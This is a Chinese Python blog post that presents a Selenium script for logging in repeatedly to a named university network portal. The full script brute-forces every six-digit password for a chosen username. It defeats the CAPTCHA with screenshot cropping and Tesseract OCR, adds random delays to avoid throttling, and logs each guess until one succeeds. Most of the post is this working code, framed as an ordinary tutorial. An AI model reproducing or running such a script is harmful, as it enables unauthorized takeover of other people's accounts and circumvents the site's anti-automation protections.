python selenium循环登陆网站的实现

yipeiwu_com6年前Python基础

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

在这里插入图片描述

按一下F12看一下网页的源代码

在这里插入图片描述

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

在这里插入图片描述

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

在这里插入图片描述

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持【听图阁-专注于Python设计】。

相关文章

python实现视频分帧效果

本文实例为大家分享了python实现视频分帧的具体代码,供大家参考,具体内容如下 import cv2 vidcap = cv2.VideoCapture('005.avi')...

关于Python中异常(Exception)的汇总

前言 Exception类是常用的异常类,该类包括StandardError,StopIteration, GeneratorExit, Warning等异常类。python中的异常使用...

查看端口并杀进程python脚本代码

我就废话不多说,直接上代码吧: # -*- coding: utf-8 -*- import os out=os.system('netstat -aon|findstr "25"'...

用python标准库difflib比较两份文件的异同详解

用python标准库difflib比较两份文件的异同详解

【需求背景】 有时候我们要对比两份配置文件是不是一样,或者比较两个文本是否异样,可以使用linux命令行工具diff a_file b_file,但是输出的结果读起来不是很友好。这时候使...

python操作gitlab API过程解析

这篇文章主要介绍了python操作gitlab API过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 使用 python-gi...